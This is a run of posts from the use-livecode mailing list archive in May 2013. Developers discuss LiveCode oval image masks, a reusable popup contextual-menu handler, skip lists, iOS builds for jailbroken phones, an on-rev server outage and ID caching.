In-Reply-To: References: Message-ID: Thanks Mike and Roger - seems like it works on OSX at least despite the notes in the docs: To be used as a pattern on Mac OS systems, an image must be 128x128 pixels > or less, and both its height and width must be a power of 2, however, in > LiveCode version 2.7, this restriction was partially lifted and the engine > will tile rectangular regions correctly with arbitrarily sized background > patterns.To be used on Windows and Unix systems, height and width must be > divisible by 8. To be used as a fully cross-platform pattern, both an > image's dimensions should be one of 8, 16, 32, 64, or 128. > However it works nicely on OSX now. I'm keeping the technique below as it allows me to reposition the image within the oval by dragging it around - but then when I want to keep it I will export the snapshot and then set the backgroundpattern of the graphic. By the way I can't get the new syntax to work: 1. > > New variants of the import snapshot and export snapshot commands have > been added: import snapshot ... at size width, height > export snapshot ... at size width, height > The script editor does not like the syntax? On 10 May 2013 13:14, Roger Guay wrote: > Hi David, > > Seems to me that the ideal solution to you problem is to make the image > the backgroundPattern of your oval. > > Roger > > > On May 10, 2013, at 4:22 AM, David Bovill wrote: > > > OK - seems like this works: > > > > - Image at back using ink "blendSrcAtop" > > - Graphic in front, black filled oval, with ink "blendSrcOver" > > - Group both objects and set the ink of the group to "blendSrcOver" > > > > Or use the following scripts: > > > > getprop show_Rounded > >> put the ink of me into someInk > >> if someInk is "blendSrcOver" then > >> return true > >> else > >> return false > >> end if > >> end show_Rounded > >> > >> setprop show_Rounded someBoolean > >> put the graphic_Object of me into roundedGraphic > >> put the image_Object of me into imageObject > >> set the ink of imageObject to "blendSrcAtop" > >> > >> if someBoolean is true then > >> set the ink of me to "blendSrcOver" > >> set the ink of roundedGraphic to "blendSrcOver" > >> else > >> set the ink of me to "srcCopy" > >> set the ink of roundedGraphic to "srcCopy" > >> end if > >> end show_Rounded > >> > > > > On 10 May 2013 11:59, David Bovill wrote: > > > >> Trying to work out the right combination of blends for an image (photo) > >> and a graphic oval to create an oval mask. Ideally this is a group so > that > >> I can change the image and not something which depends on an alpha > channel. > >> > >> Getting close - but nothing quite right yet. Suggestions? > >> > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From th.douez at gmail.com Sat May 11 09:06:22 2013 From: th.douez at gmail.com (Thierry Douez) Date: Sat, 11 May 2013 15:06:22 +0200 Subject: Oval framed photo In-Reply-To: References: Message-ID: Hi David, 2013/5/11 David Bovill > > By the way I can't get the new syntax to work: > > > New variants of the import snapshot and export snapshot commands have > > been added: import snapshot ... at size width, height > > export snapshot ... at size width, height > > The script editor does not like the syntax? > Don't know if you have "as PNG" or "as JPG" in your export snapshot, but if so, put it after the "at size" HTH, Thierry ------------------------------------------------ Thierry Douez - http://sunny-tdz.com Maker of sunnYperl - sunnYmidi - sunnYmage From pmbrig at gmail.com Sat May 11 09:31:39 2013 From: pmbrig at gmail.com (Peter M. Brigham) Date: Sat, 11 May 2013 09:31:39 -0400 Subject: Context Menus - the look of the thing In-Reply-To: <518C04A5.3060900@hyperactivesw.com> References: <6891CBDF-7BA3-4344-8BBE-945E50FB149E@mac.com> <518BD6AF.7040501@hyperactivesw.com> <518C04A5.3060900@hyperactivesw.com> Message-ID: <53D3A67F-5B99-49A9-B43A-B1B8AF5BE416@gmail.com> Here's a modular solution. Create a popup button named "contextualMenu", and put the following script into it: on menupick what set the uSelection of me to what end menupick Put the button in a library stack, and add the following to the library script: function popChoose -- paste the "contextualMenu" button into your mainstack or a library stack -- make it invisible when you're done, if you want -- enter the short name of the stack containing the button -- into the constant declaration below -- popChoose() can accept a cr-delimited list of choices -- or a comma-delimited list -- eg: put choice1 & cr & choice2 & cr & choice3 into choiceList -- put popChoose(choiceList) into userChoice -- or: put popChoose(choice1,choice2,choice3) into userChoice -- or: put popChoose("Vera","Chuck","Dave") into userChoice constant pStackName = "stackContainingContextualMenuButton" put the params into tList put offset("(",tList) into q delete char 1 to q of tList delete char -1 of tList replace comma & space & quote with comma & quote in tList replace quote & comma & quote with cr in tList if char 1 of tList = quote then delete char 1 of tList if char -1 of tList = quote then delete char -1 of tList put empty into u set the uSelection of btn "contextualMenu" of stack pStackName to empty put tList into btn "contextualMenu" of stack pStackName popup btn "contextualMenu" of stack pStackName put the uSelection of btn "contextualMenu" of stack pStackName into u set the uSelection of btn "contextualMenu" of stack pStackName to empty put empty into btn "contextualMenu" of stack pStackName -- belt and suspenders, don't leave contents hanging around select empty if u = empty then exit to top -- equivalent of mouseRelease, no action end if return u end popChoose Then whenever you need a popup contextual menu, just call it with put popChoose("Vera","Chuck","Dave","-","Lovely Rita","Nowhere Man") into userChoice You can construct the parameter list on the fly, depending on the context, then just put popChoose (choiceList) into userChoice -- Peter Peter M. Brigham pmbrig at gmail.com http://home.comcast.net/~pmbrig On May 9, 2013, at 4:18 PM, J. Landman Gay wrote: > On 5/9/13 2:54 PM, Graham Samuel wrote: >> What I want is a single 'mouseDown' handler in my mainstack >> that checks if the right mouse button had been pressed in an editable >> field and then provides Edit-menu type services to that field (the >> target). Could I use a button menu for that? > > Sure, easily. > > Create an option button and put the menu you want into its contents. Put a corresponding menupick handler in its script. Hide the button. > > In the field where you check for a right-click, just use "popup ". That's about it. The button script can either execute commands directly ("copy", "paste") or it can call out to a custom handler in the message path. > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From pmbrig at gmail.com Sat May 11 09:35:08 2013 From: pmbrig at gmail.com (Peter M. Brigham) Date: Sat, 11 May 2013 09:35:08 -0400 Subject: [OT - I remembered this time] In-Reply-To: <518C0AF0.8060200@gmail.com> References: <5188E6F0.6020908@gmail.com> <134295697072.20130507080239@ahsoftware.net> <1367941984039-4664371.post@n4.nabble.com> <51892C07.1010604@warrensweb.us> <90333940445.20130507184002@ahsoftware.net> <00b701ce4b98$ff025c20$fd071460$@net> <102339465441.20130507201207@ahsoftware.net> <29344109381.20130507212931@ahsoftware.net> <40418684689.20130508181226@ahsoftware.net> <010101ce4c5b$5334d7b0$f99e8710$@net> <103426371361.20130508202033@ahsoftware.net> <013201ce4cc1$24ff3ff0$6efdbfd0$@net> <518C0AF0.8060200@gmail.com> Message-ID: <8CE3D675-6372-4E6E-981C-671DE30F3F7C@gmail.com> On May 9, 2013, at 4:45 PM, Richmond wrote: > Let's just say that if I find Jerry Garcia, John Lennon or Janis Joplin anywhere near me in heaven, > I'll ask for a transfer to hell directly; especially with regard to Jerry Garcia. Uh oh, insert "breakpoint" into handler "flamewar" -- Peter Peter M. Brigham pmbrig at gmail.com http://home.comcast.net/~pmbrig From bonnmike at gmail.com Sat May 11 10:55:51 2013 From: bonnmike at gmail.com (Mike Bonner) Date: Sat, 11 May 2013 08:55:51 -0600 Subject: skip lists In-Reply-To: <518DD59D.50902@fourthworld.com> References: <518DD59D.50902@fourthworld.com> Message-ID: MIT offers lots of open courseware stuff, one part of which deals with skip lists. Haven't looked at it yet, but heres a link: http://www.catonmat.net/blog/mit-introduction-to-algorithms-part-eight/ (not from the MIT site, i'm sure it can be found easily enough there also, the opencourseware link is here: http://ocw.mit.edu/index.htm ) On Fri, May 10, 2013 at 11:22 PM, Richard Gaskin wrote: > Anyone here had occasion to implement a skip list in an xTalk? > > > > > If so, any code you can share, or tips? > > -- > Richard Gaskin > Fourth World Systems > ______________________________**______________________________ > Ambassador at FourthWorld.com http://www.FourthWorld.com > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > From bonnmike at gmail.com Sat May 11 10:58:31 2013 From: bonnmike at gmail.com (Mike Bonner) Date: Sat, 11 May 2013 08:58:31 -0600 Subject: skip lists In-Reply-To: References: <518DD59D.50902@fourthworld.com> Message-ID: Heres the lecture notes also if you're interested. http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-046j-introduction-to-algorithms-sma-5503-fall-2005/readings/l12_skiplists.pdf On Sat, May 11, 2013 at 8:55 AM, Mike Bonner wrote: > MIT offers lots of open courseware stuff, one part of which deals with > skip lists. Haven't looked at it yet, but heres a link: > http://www.catonmat.net/blog/mit-introduction-to-algorithms-part-eight/ > (not from the MIT site, i'm sure it can be found easily enough there > also, the opencourseware link is here: http://ocw.mit.edu/index.htm ) > > > On Fri, May 10, 2013 at 11:22 PM, Richard Gaskin < > ambassador at fourthworld.com> wrote: > >> Anyone here had occasion to implement a skip list in an xTalk? >> >> > >> >> If so, any code you can share, or tips? >> >> -- >> Richard Gaskin >> Fourth World Systems >> ______________________________**______________________________ >> Ambassador at FourthWorld.com http://www.FourthWorld.com >> >> ______________________________**_________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/**mailman/listinfo/use-livecode >> > > From capellan2000 at gmail.com Sat May 11 11:06:57 2013 From: capellan2000 at gmail.com (Alejandro Tejada) Date: Sat, 11 May 2013 08:06:57 -0700 (PDT) Subject: skip lists In-Reply-To: <518DD59D.50902@fourthworld.com> References: <518DD59D.50902@fourthworld.com> Message-ID: <1368284817475-4664714.post@n4.nabble.com> Hi Richard, Richard Gaskin wrote > Anyone here had occasion to implement a skip list in an xTalk? > <http://en.wikipedia.org/wiki/Skip_list> > > If so, any code you can share, or tips? I found this particularly interesting: "Skip lists are a probabilistic data structure that seem likely to supplant balanced trees as the implementation method of choice for many applications. Skip list algorithms have the same asymptotic expected time bounds as balanced trees and are simpler, faster and use less space." Tell me if I am wrong, but this data structure could be really useful in Data Compression and Artificial Inteligence applications. Al -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/skip-lists-tp4664705p4664714.html Sent from the Revolution - User mailing list archive at Nabble.com. From mwieder at ahsoftware.net Sat May 11 11:30:04 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Sat, 11 May 2013 08:30:04 -0700 Subject: Drag and Drop In-Reply-To: <518DE955.5030309@gmail.com> References: <725BACB2-D59D-4350-9C0A-62395ED1B7AC@LinkIt.Com> <518BFC41.4070205@gmail.com> <518C08C1.9080901@gmail.com> <518D52C9.1080202@gmail.com> <1368217057081-4664677.post@n4.nabble.com> <518DE955.5030309@gmail.com> Message-ID: <11486530327.20130511083004@ahsoftware.net> Richmond- Friday, May 10, 2013, 11:46:45 PM, you wrote: > As a result I gave up reading it and started thinking for myself. ...no good can come of that... -- -Mark Wieder mwieder at ahsoftware.net From richmondmathewson at gmail.com Sat May 11 11:54:01 2013 From: richmondmathewson at gmail.com (Richmond) Date: Sat, 11 May 2013 18:54:01 +0300 Subject: Drag and Drop In-Reply-To: <11486530327.20130511083004@ahsoftware.net> References: <725BACB2-D59D-4350-9C0A-62395ED1B7AC@LinkIt.Com> <518BFC41.4070205@gmail.com> <518C08C1.9080901@gmail.com> <518D52C9.1080202@gmail.com> <1368217057081-4664677.post@n4.nabble.com> <518DE955.5030309@gmail.com> <11486530327.20130511083004@ahsoftware.net> Message-ID: <518E6999.6020904@gmail.com> On 05/11/2013 06:30 PM, Mark Wieder wrote: > Richmond- > > Friday, May 10, 2013, 11:46:45 PM, you wrote: > >> As a result I gave up reading it and started thinking for myself. > ...no good can come of that... > Okay; let's rewrite that to this: "I read the documentation, and when it does not help me I start thinking for myself." Richmond. From mail at coffeecone.com Sat May 11 12:06:20 2013 From: mail at coffeecone.com (CoffeeCone Mail) Date: Sun, 12 May 2013 00:06:20 +0800 Subject: While the forum is down... Message-ID: Greetings! I noticed majority of RunRev websites are down for maintenance. Seeing as this is another viable way to communicate, I want to ask something regarding iOS deployment. I haven't coded in Objective C before, nor do I have any knowledge with XCode. I asked a friend of mine and he said I would need a developer license to compile my iOS apps. I want to know, however, if I just wanted to test the application on a jailbroken iPhone, will I still need the developer license? I have already successfully compiled for Android without ever needing to provide a license or certificate and by simply choosing "Sign for development only" in the deployment sectioon. From m.schonewille at economy-x-talk.com Sat May 11 12:10:20 2013 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Sat, 11 May 2013 18:10:20 +0200 Subject: While the forum is down... In-Reply-To: References: Message-ID: <0E8F86C0-9EAF-4887-A382-7C620D2F3FFA@economy-x-talk.com> Hi, Since you can install any compiled app on a jail broken iPhone, you shouldn't need an Apple dev license to install an LC app on your jail broken iPhone. -- Kind regards, Mark Schonewille Economy-x-Talk Http://economy-x-talk.com Share the clipboard of your computer over a local network with Clipboard Link http://clipboardlink.economy-x-talk.com Op 11 mei 2013 om 18:06 heeft CoffeeCone Mail het volgende geschreven: > Greetings! I noticed majority of RunRev websites are down for maintenance. > Seeing as this is another viable way to communicate, I want to ask > something regarding iOS deployment. > > I haven't coded in Objective C before, nor do I have any knowledge with > XCode. I asked a friend of mine and he said I would need a developer > license to compile my iOS apps. > > I want to know, however, if I just wanted to test the application on a > jailbroken iPhone, will I still need the developer license? I have already > successfully compiled for Android without ever needing to provide a license > or certificate and by simply choosing "Sign for development only" in the > deployment sectioon. > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From coiin at verizon.net Sat May 11 12:13:31 2013 From: coiin at verizon.net (Colin Holgate) Date: Sat, 11 May 2013 17:13:31 +0100 Subject: While the forum is down... In-Reply-To: References: Message-ID: Although in theory what you ask could be done, LiveCode won't build the standalone app if you haven't selected a provisioning profile, and you would only have one of those if you had an iPhone developer license. From ambassador at fourthworld.com Sat May 11 12:20:29 2013 From: ambassador at fourthworld.com (Richard Gaskin) Date: Sat, 11 May 2013 09:20:29 -0700 Subject: skip lists Message-ID: <518E6FCD.3050709@fourthworld.com> Mike Bonner wrote: > MIT offers lots of open courseware stuff, one part of which > deals with skip lists. Thanks, Mike. Not exactly xTalk (we're such an under-served minority ), but very helpful. Alejandro Tejada wrote: > Tell me if I am wrong, but this data structure could be really > useful in Data Compression and Artificial Intelligence applications. In a certain sense, so many core algos wind up playing a role in AI if only by the breadth and diversity of the field. Skip lists seem to be so fundamental as storage access mechanism that they're no doubt very useful for AI, along with more generic Big Data tasks and other fields where rapid traversal of ad hoc storage systems is essential. My own interest is in fairly simple data mining tasks, so maybe it could be called "Artificial Brute Force Dumbness". :) But with skip lists, at least I could do dumb things really quickly. -- Richard Gaskin Fourth World Systems Software Design and Development for Desktop, Mobile, and Web ____________________________________________________________ Ambassador at FourthWorld.com http://www.FourthWorld.com From pmbrig at gmail.com Sat May 11 13:15:10 2013 From: pmbrig at gmail.com (Peter M. Brigham) Date: Sat, 11 May 2013 13:15:10 -0400 Subject: skip lists In-Reply-To: <518E6FCD.3050709@fourthworld.com> References: <518E6FCD.3050709@fourthworld.com> Message-ID: On May 11, 2013, at 12:20 PM, Richard Gaskin wrote: > But with skip lists, at least I could do dumb things really quickly. I've learned how to do dumb things both quickly and slowly. It's my specialty. -- Peter Peter M. Brigham pmbrig at gmail.com http://home.comcast.net/~pmbrig From richmondmathewson at gmail.com Sat May 11 13:17:18 2013 From: richmondmathewson at gmail.com (Richmond) Date: Sat, 11 May 2013 20:17:18 +0300 Subject: While the forum is down... In-Reply-To: References: Message-ID: <518E7D1E.7040203@gmail.com> On 05/11/2013 07:13 PM, Colin Holgate wrote: > Although in theory what you ask could be done, LiveCode won't build the standalone app if you haven't selected a provisioning profile, and you would only have one of those if you had an iPhone developer license. That's bl**dy stupid. How can one test this sort of thing to decide if one wants to invest in an iPhone developer licence? Richmond. From coiin at verizon.net Sat May 11 13:23:19 2013 From: coiin at verizon.net (Colin Holgate) Date: Sat, 11 May 2013 18:23:19 +0100 Subject: While the forum is down... In-Reply-To: <518E7D1E.7040203@gmail.com> References: <518E7D1E.7040203@gmail.com> Message-ID: You can test with the iOS Simulator. Also, you could fully develop the Android version, and the iOS version would just be one additional Save, if you think you want to submit to the App Store as well as Google Play or Amazon Appstore. On May 11, 2013, at 6:17 PM, Richmond wrote: > >That's bl**dy stupid. How can one test this sort of thing to decide if one wants to invest > in an iPhone developer licence? From dixonja at hotmail.co.uk Sat May 11 13:50:56 2013 From: dixonja at hotmail.co.uk (John Dixon) Date: Sat, 11 May 2013 18:50:56 +0100 Subject: Odin down ? Message-ID: Anyone on Odin ?... Can you tell me whether it is down ?... From dixonja at hotmail.co.uk Sat May 11 13:53:11 2013 From: dixonja at hotmail.co.uk (John Dixon) Date: Sat, 11 May 2013 18:53:11 +0100 Subject: Odin down ? Message-ID: Can anyone confirm Odin is down ?... From m_p_wilcox at yahoo.co.uk Sat May 11 14:01:00 2013 From: m_p_wilcox at yahoo.co.uk (Mark Wilcox) Date: Sat, 11 May 2013 19:01:00 +0100 Subject: While the forum is down... Message-ID: Does LiveCode validate the provisioning profile in any way? Even if it does it shouldn't be too hard to remove that requirement from the IDE/build system since it's all open source. Xcode allows you to build binaries without signing them so I don't see any good reason why LiveCode should do any jailbreak policing. Colin Holgate wrote: >Although in theory what you ask could be done, LiveCode won't build the standalone app if you haven't selected a provisioning profile, and you would only have one of those if you had an iPhone developer license. > > > >_______________________________________________ >use-livecode mailing list >use-livecode at lists.runrev.com >Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >http://lists.runrev.com/mailman/listinfo/use-livecode From jacque at hyperactivesw.com Sat May 11 14:06:10 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Sat, 11 May 2013 13:06:10 -0500 Subject: Drag and Drop In-Reply-To: <518DE955.5030309@gmail.com> References: <725BACB2-D59D-4350-9C0A-62395ED1B7AC@LinkIt.Com> <518BFC41.4070205@gmail.com> <518C08C1.9080901@gmail.com> <518D52C9.1080202@gmail.com> <1368217057081-4664677.post@n4.nabble.com> <518DE955.5030309@gmail.com> Message-ID: <518E8892.7080005@hyperactivesw.com> On 5/11/13 1:46 AM, Richmond wrote: > On 05/10/2013 11:17 PM, Alejandro Tejada wrote: >> Hi Richmmond, >> >> >> Richmond Mathewson-2 wrote >>> [snip] >>> So I don't know where you got the idea that this used not to work: >>> [snip] >> mouseStillDown is not mentioned in this article: >> http://www.hyperactivesw.com/resources_polling.html >> >> Why? > > Because RR/LC documentation has always been inadequate. > > As a result I gave up reading it and started thinking for myself. > > But, then, I have never been a great one for following other people's > dialectics. Ah, but in this case it's my dialectics. :) It was largely written at the request of Scott Raney who got tired of preaching about it. He told me the day that page went up he'd already referred two people to it, which saved him a lot of time. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From lfredricks at proactive-intl.com Sat May 11 14:06:29 2013 From: lfredricks at proactive-intl.com (Lynn Fredricks) Date: Sat, 11 May 2013 11:06:29 -0700 Subject: Valnentina DB/Reports ADK for LiveCode Special - Get Valentina Studio Pro for Free Message-ID: Paradigma Software is currently running a limited time special offer in which you can get Valentina Studio Pro ($199) free. Buy any two or more Valentina ADKs, new or renewal. They can be any combination of Valentina DB ADK (embed Valentina DB engine in your application) and Valentina Reports ADK (business reports system for MySQL, MariaDB, Postgre, SQLite and Valentina DB - ADK works with all of these). Just add them to your cart and, in the customer notes field add which version of Valentina Studio Pro you want - Mac, Windows or Linux. As with all the products, you also get free upgrades during the 12 months after you buy. Valentina Studio Pro includes advanced features such as powerful diagramming, SQL DIFF, visual query builder (especially useful if are still learning SQL), and a visual reports designer. You can run reports right within VSP. This is saved into a project. You use these with Valentina Reports ADK for LiveCode, or reuse these same projects with Valentina Server, which now also features Reports. A five connection version of Valentina Server, and Valentina Studio (not Pro) are also available for free. Best regards, Lynn Fredricks President Paradigma Software http://www.paradigmasoft.com Valentina SQL Server: The Ultra-fast, Royalty Free Database Server From richmondmathewson at gmail.com Sat May 11 14:09:55 2013 From: richmondmathewson at gmail.com (Richmond) Date: Sat, 11 May 2013 21:09:55 +0300 Subject: Drag and Drop In-Reply-To: <518E8892.7080005@hyperactivesw.com> References: <725BACB2-D59D-4350-9C0A-62395ED1B7AC@LinkIt.Com> <518BFC41.4070205@gmail.com> <518C08C1.9080901@gmail.com> <518D52C9.1080202@gmail.com> <1368217057081-4664677.post@n4.nabble.com> <518DE955.5030309@gmail.com> <518E8892.7080005@hyperactivesw.com> Message-ID: <518E8973.6010305@gmail.com> On 05/11/2013 09:06 PM, J. Landman Gay wrote: > On 5/11/13 1:46 AM, Richmond wrote: >> On 05/10/2013 11:17 PM, Alejandro Tejada wrote: >>> Hi Richmmond, >>> >>> >>> Richmond Mathewson-2 wrote >>>> [snip] >>>> So I don't know where you got the idea that this used not to work: >>>> [snip] >>> mouseStillDown is not mentioned in this article: >>> http://www.hyperactivesw.com/resources_polling.html >>> >>> Why? >> >> Because RR/LC documentation has always been inadequate. >> >> As a result I gave up reading it and started thinking for myself. >> >> But, then, I have never been a great one for following other people's >> dialectics. > > Ah, but in this case it's my dialectics. :) It was largely written at > the request of Scott Raney who got tired of preaching about it. He > told me the day that page went up he'd already referred two people to > it, which saved him a lot of time. > Dear Ms Gay, I will not hold that against you. The nature of programming languages is such that they are almost un-documentable in their complexity; a lot of which is even unsuspected by the people who invent them. Richmond. From coiin at verizon.net Sat May 11 14:25:14 2013 From: coiin at verizon.net (Colin Holgate) Date: Sat, 11 May 2013 19:25:14 +0100 Subject: While the forum is down... In-Reply-To: References: Message-ID: This may not be true. I just tried, and Xcode let me test on iOS Simulator, but when I tried to build for iOS Device it complained about there being no provisioned iOS devices connected. When I connected my iPhone 5, which is provisioned and in my iOS developer account, I could then test on that device. > >Xcode allows you to build binaries without signing them so I don't see any good reason why LiveCode should do any jailbreak policing. > From mkoob at rogers.com Sat May 11 14:25:31 2013 From: mkoob at rogers.com (Martin Koob) Date: Sat, 11 May 2013 11:25:31 -0700 (PDT) Subject: Odin down ? In-Reply-To: References: Message-ID: <1368296731690-4664730.post@n4.nabble.com> I just checked my site hosted on odin and it is not responding. Also when I tried to log in with cPanel there is no response. I sent an support request to support at on-rev.com with 'URGENT' in the subject line. I think that is the way to get emergency support. I usually used the web form at www.on-rev.com but that is down too. Martin -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Odin-down-tp4664725p4664730.html Sent from the Revolution - User mailing list archive at Nabble.com. From revdev at pdslabs.net Sat May 11 14:25:47 2013 From: revdev at pdslabs.net (Phil Davis) Date: Sat, 11 May 2013 11:25:47 -0700 Subject: Odin down ? In-Reply-To: References: Message-ID: <518E8D2B.4020003@pdslabs.net> Pingdom says it has been down since 05/11/2013 06:48:09 PM (I guess that's GMT). Phil On 5/11/13 10:53 AM, John Dixon wrote: > Can anyone confirm Odin is down ?... > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Phil Davis From coiin at verizon.net Sat May 11 14:28:08 2013 From: coiin at verizon.net (Colin Holgate) Date: Sat, 11 May 2013 19:28:08 +0100 Subject: Odin down ? In-Reply-To: <1368296731690-4664730.post@n4.nabble.com> References: <1368296731690-4664730.post@n4.nabble.com> Message-ID: <59235D38-936C-4566-A73B-35FDE73E4B95@verizon.net> Everything is down until Tuesday. On May 11, 2013, at 7:25 PM, Martin Koob wrote: > I just checked my site hosted on odin and it is not responding. > > Also when I tried to log in with cPanel there is no response. > > I sent an support request to support at on-rev.com with 'URGENT' in the subject > line. I think that is the way to get emergency support. I usually used the > web form at www.on-rev.com but that is down too. From bonnmike at gmail.com Sat May 11 14:29:03 2013 From: bonnmike at gmail.com (Mike Bonner) Date: Sat, 11 May 2013 12:29:03 -0600 Subject: Odin down ? In-Reply-To: <518E8D2B.4020003@pdslabs.net> References: <518E8D2B.4020003@pdslabs.net> Message-ID: yep kaboom On Sat, May 11, 2013 at 12:25 PM, Phil Davis wrote: > Pingdom says it has been down since 05/11/2013 06:48:09 PM (I guess > that's GMT). > > Phil > > > > On 5/11/13 10:53 AM, John Dixon wrote: > >> Can anyone confirm Odin is down ?... >> >> ______________________________**_________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/**mailman/listinfo/use-livecode >> >> > -- > Phil Davis > > > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > From mkoob at rogers.com Sat May 11 14:35:08 2013 From: mkoob at rogers.com (Martin Koob) Date: Sat, 11 May 2013 11:35:08 -0700 (PDT) Subject: Odin down ? In-Reply-To: <59235D38-936C-4566-A73B-35FDE73E4B95@verizon.net> References: <1368296731690-4664730.post@n4.nabble.com> <59235D38-936C-4566-A73B-35FDE73E4B95@verizon.net> Message-ID: <1368297308253-4664735.post@n4.nabble.com> In a message from Heather Laine it said that hosting services were not going to be affected during the outage. Are the other on-rev servers down or just Odin? Martin -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Odin-down-tp4664725p4664735.html Sent from the Revolution - User mailing list archive at Nabble.com. From bonnmike at gmail.com Sat May 11 14:37:19 2013 From: bonnmike at gmail.com (Mike Bonner) Date: Sat, 11 May 2013 12:37:19 -0600 Subject: Odin down ? In-Reply-To: <1368297308253-4664735.post@n4.nabble.com> References: <1368296731690-4664730.post@n4.nabble.com> <59235D38-936C-4566-A73B-35FDE73E4B95@verizon.net> <1368297308253-4664735.post@n4.nabble.com> Message-ID: Thor is available. On Sat, May 11, 2013 at 12:35 PM, Martin Koob wrote: > In a message from Heather Laine it said that hosting services were not > going > to be affected during the outage. Are the other on-rev servers down or > just > Odin? > > Martin > > > > -- > View this message in context: > http://runtime-revolution.278305.n4.nabble.com/Odin-down-tp4664725p4664735.html > Sent from the Revolution - User mailing list archive at Nabble.com. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From m_p_wilcox at yahoo.co.uk Sat May 11 14:37:21 2013 From: m_p_wilcox at yahoo.co.uk (Mark Wilcox) Date: Sat, 11 May 2013 19:37:21 +0100 Subject: While the forum is down... Message-ID: You can't build and run unless you have an appropriately provisioned device connected but you can build or "archive" without one - you need to be able to for building anything that's not signed for your device, including app store submission builds. Colin Holgate wrote: >This may not be true. I just tried, and Xcode let me test on iOS Simulator, but when I tried to build for iOS Device it complained about there being no provisioned iOS devices connected. When I connected my iPhone 5, which is provisioned and in my iOS developer account, I could then test on that device. > > >> >Xcode allows you to build binaries without signing them so I don't see any good reason why LiveCode should do any jailbreak policing. >> > >_______________________________________________ >use-livecode mailing list >use-livecode at lists.runrev.com >Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >http://lists.runrev.com/mailman/listinfo/use-livecode From m_p_wilcox at yahoo.co.uk Sat May 11 14:38:51 2013 From: m_p_wilcox at yahoo.co.uk (Mark Wilcox) Date: Sat, 11 May 2013 19:38:51 +0100 Subject: Odin down ? Message-ID: <4nk6c3rs2spmxuii9rlwisin.1368297531141@email.android.com> Heather said the on-rev site would be down but the service should be up. Colin Holgate wrote: >Everything is down until Tuesday. > > >On May 11, 2013, at 7:25 PM, Martin Koob wrote: > >> I just checked my site hosted on odin and it is not responding. >> >> Also when I tried to log in with cPanel there is no response. >> >> I sent an support request to support at on-rev.com with 'URGENT' in the subject >> line. I think that is the way to get emergency support. I usually used the >> web form at www.on-rev.com but that is down too. > >_______________________________________________ >use-livecode mailing list >use-livecode at lists.runrev.com >Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >http://lists.runrev.com/mailman/listinfo/use-livecode From ambassador at fourthworld.com Sat May 11 14:50:07 2013 From: ambassador at fourthworld.com (Richard Gaskin) Date: Sat, 11 May 2013 11:50:07 -0700 Subject: ID caching: how to test? In-Reply-To: <518DC40A.8080502@hyperactivesw.com> References: <518DC40A.8080502@hyperactivesw.com> Message-ID: <518E92DF.2080209@fourthworld.com> J. Landman Gay wrote: > On 5/10/13 9:11 PM, Richard Gaskin wrote: >> The Release Notes for v6 include: >> >> ID caching (6.0 DP 2) >> New global property ? allowDatagramBroadcasts (6.0 DP 2) >> A new global property allowDatagramBroadcasts has been added. This >> needs to be set to true before sending to a broadcast address >> (enables the per-socket flag for whether they are allowed). >> The engine now caches lookups of control references of the form >> ?card id ...? and ?control id ...?. >> This speeds up any access using those forms after the first time, >> turning an operation that would be completed in linear time into >> one that will be completed in constant time. >> >> I'm not clear on the syntax, so I've been unable to benchmark the >> performance boost. > > I think the datagram stuff and the image caching are two different > things (if it's in the docs that way, it looks like a misplaced > heading to me.) Indeed. Looks like a bug in the Mac Preview app. In the PDF the first paragraph shown above appears below the other, and the app prevented me from selecting only one, so I copied both and when pasting here I checked only that the quoted ended with the portion about the ID caching. > The image caching just happens automatically. Benchmarking would > involve timing a procedure in 5.5.4 and then repeating it in 6.0.1 to > see the difference. Right, but using what script? Which references cache and which don't, and which operations should show the benefit of caching? The sparse description has too little info for my feeble brain. Any tips on how to test this, anyone? -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com Follow me on Twitter: http://twitter.com/FourthWorldSys From jhj at jhj.com Sat May 11 15:13:42 2013 From: jhj at jhj.com (Jerry Jensen) Date: Sat, 11 May 2013 12:13:42 -0700 Subject: Odin down ? In-Reply-To: References: <1368296731690-4664730.post@n4.nabble.com> 